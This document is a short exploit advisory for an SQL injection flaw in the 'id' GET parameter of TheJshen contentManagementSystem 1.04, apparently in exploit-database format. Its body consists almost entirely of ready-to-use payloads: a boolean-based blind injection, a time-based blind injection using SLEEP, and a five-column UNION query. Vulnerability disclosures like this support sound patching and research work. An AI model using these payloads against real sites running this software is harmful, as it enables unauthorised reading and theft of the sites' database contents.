TheJshen contentManagementSystem 1.04 - 'id' SQL Injection

# Exploit Title: TheJshen contentManagementSystem 1.04 - 'id' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/thejshen/contentManagementSystem
# Version: 1.04
# Software Link: https://github.com/thejshen/contentManagementSystem.git
# Tested on: CentOS7

# GET parameter 'id' easy SQL Injection
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=4' AND 5143=5143-- OWXt
    Vector: AND [INFERENCE]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=4' AND (SELECT 4841 FROM (SELECT(SLEEP(5)))eqmp)-- ZwTG
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: id=-4903' UNION ALL SELECT NULL,NULL,CONCAT(0x716a706b71,0x66766f636c546750775053685352676c4f70724d714c4b64494e755252765a626370615a565a4b49,0x717a6a7671),NULL,NULL-- hkoh
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]